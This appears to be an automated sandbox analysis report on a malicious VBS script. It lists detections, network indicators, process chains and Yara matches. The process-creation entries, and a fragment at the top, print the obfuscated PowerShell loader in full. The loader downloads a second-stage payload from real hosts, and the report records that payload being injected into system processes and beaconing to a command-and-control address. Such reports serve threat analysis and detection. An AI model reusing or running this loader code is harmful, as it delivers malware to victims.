CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-BreakthSAmphibil SkremaecarnifieCloverlpKursusf R

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3712, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T12:48:32.209044+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49771	103.120.177.150	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: F8HYX5HOgA.vbs

Avira: detected

Multi AV Scanner detection for submitted file

Source: F8HYX5HOgA.vbs	Virustotal: Detection: 46%			Perma Link
Source: F8HYX5HOgA.vbs	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.120.177.150:443 -> 192.168.2.5:49771 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2544913073.0000000007047000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: wab.exe, 00000007.00000003.2574386821.00000000255F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000005.00000002.2550855628.0000000007F27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: wab.exe, 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: wab.exe, 00000007.00000003.2572739867.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000007.00000003.2573715561.0000000025670000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2573394658.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: wab.exe, 00000007.00000003.2572739867.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.2536849712.000000000081E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, 00000007.00000003.2573715561.0000000025670000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2573394658.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: wab.exe, 00000007.00000003.2574386821.00000000255F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: wab.exe, 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.2536849712.000000000081E000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic

TCP traffic: 192.168.2.5:49815 -> 91.92.252.226:7127

Source: Joe Sandbox View

IP Address: 107.161.23.150 107.161.23.150

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49771 -> 103.120.177.150:443

Source: global traffic

HTTP traffic detected: GET /ms/ms.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.royalengineeringllc.comCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 9_2_05949F64 memset,memset,WSARecv,GetLastError,WSAGetLastError,WSAGetLastError,WSAGetLastError,RegisterWaitForSingleObject,

9_2_05949F64

Source: global traffic	HTTP traffic detected: GET /ms/Spej.ttf HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Mon, 05 Feb 2024 11:01:15 GMTUser-Agent: Microsoft BITS/7.8Host: www.astenterprises.com.pk
Source: global traffic	HTTP traffic detected: GET /ms/ms.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.royalengineeringllc.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.astenterprises.com.pk
Source: global traffic	DNS traffic detected: DNS query: www.royalengineeringllc.com

Source: powershell.exe, 00000005.00000002.2550855628.0000000007F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: svchost.exe, 00000004.00000002.3339991717.000002A7978A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000004.00000003.2090170168.000002A79CD20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2709173693.000002315EE01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538723366.0000000004591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2544913073.00000000070F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co/
Source: powershell.exe, 00000001.00000002.2709173693.000002315EE01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2538723366.0000000004591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBjq
Source: powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000004.00000003.2090170168.000002A79CD93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000004.00000003.2090170168.000002A79CD20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2709173693.000002315FF93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000004.00000002.3341467361.000002A79CEED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341611453.000002A79CF0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/
Source: svchost.exe, 00000004.00000002.3341271659.000002A79CE84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ice
Source: svchost.exe, 00000004.00000002.3340446288.000002A798102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2203585000.000002A79CD25000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341139062.000002A79CE40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341740612.000002A79D080000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2177178561.000002A79CD21000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341763948.000002A79D290000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341271659.000002A79CE61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3340587401.000002A798640000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Spej.ttf
Source: powershell.exe, 00000001.00000002.2709173693.000002315EFBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Spej.ttfP
Source: powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Spej.ttfXR
Source: svchost.exe, 00000004.00000002.3341271659.000002A79CE84000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341271659.000002A79CE61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk:443/ms/Spej.ttf
Source: wab.exe, 00000007.00000002.2594065641.0000000008902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.royalengineeringllc.com/ms/ms.bin
Source: wab.exe, 00000007.00000002.2594065641.0000000008902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.royalengineeringllc.com/ms/ms.bin0t
Source: wab.exe, 00000007.00000002.2594065641.0000000008902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.royalengineeringllc.com/ms/ms.binGu

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.120.177.150:443 -> 192.168.2.5:49771 version: TLS 1.2

Source: wab.exe, 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_0d1158bd-8

Source: wab.exe, 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_4a94ac3d-f

Source: Yara match	File source: 7.3.wab.exe.256f0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.dialer.exe.5930000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.dialer.exe.5710000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.wab.exe.254d0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2578876174.0000000005930000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2578561473.0000000005710000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 2780, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_4856.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5708, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4856, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848E95A76	1_2_00007FF848E95A76
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848E89A6A	1_2_00007FF848E89A6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848E8CA60	1_2_00007FF848E8CA60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848E96822	1_2_00007FF848E96822
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848E87058	1_2_00007FF848E87058
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA0C62	5_2_02DA0C62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA1248	5_2_02DA1248
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA1CF0	5_2_02DA1CF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA1C44	5_2_02DA1C44
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_073183E8	5_2_073183E8
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05963524	9_2_05963524
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05953573	9_2_05953573
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05962CBD	9_2_05962CBD
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_0595BC11	9_2_0595BC11
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_0595C458	9_2_0595C458
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05963F8C	9_2_05963F8C
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05967FA2	9_2_05967FA2
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_0595C7EB	9_2_0595C7EB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_0594D73D	9_2_0594D73D
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05962721	9_2_05962721
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05948653	9_2_05948653
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_059538DB	9_2_059538DB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05962009	9_2_05962009
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05965BA4	9_2_05965BA4
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_05963BC5	9_2_05963BC5
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_0594834D	9_2_0594834D
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_059622B4	9_2_059622B4

Source: F8HYX5HOgA.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5806
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5806
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5806	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5806	Jump to behavior

Source: amsi32_4856.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5708, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4856, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@11/11@3/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_00007FF848E8AF80 CoCreateInstance,

1_2_00007FF848E8AF80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\SysWOW64\dialer.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgxm3ru0.slx.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs"

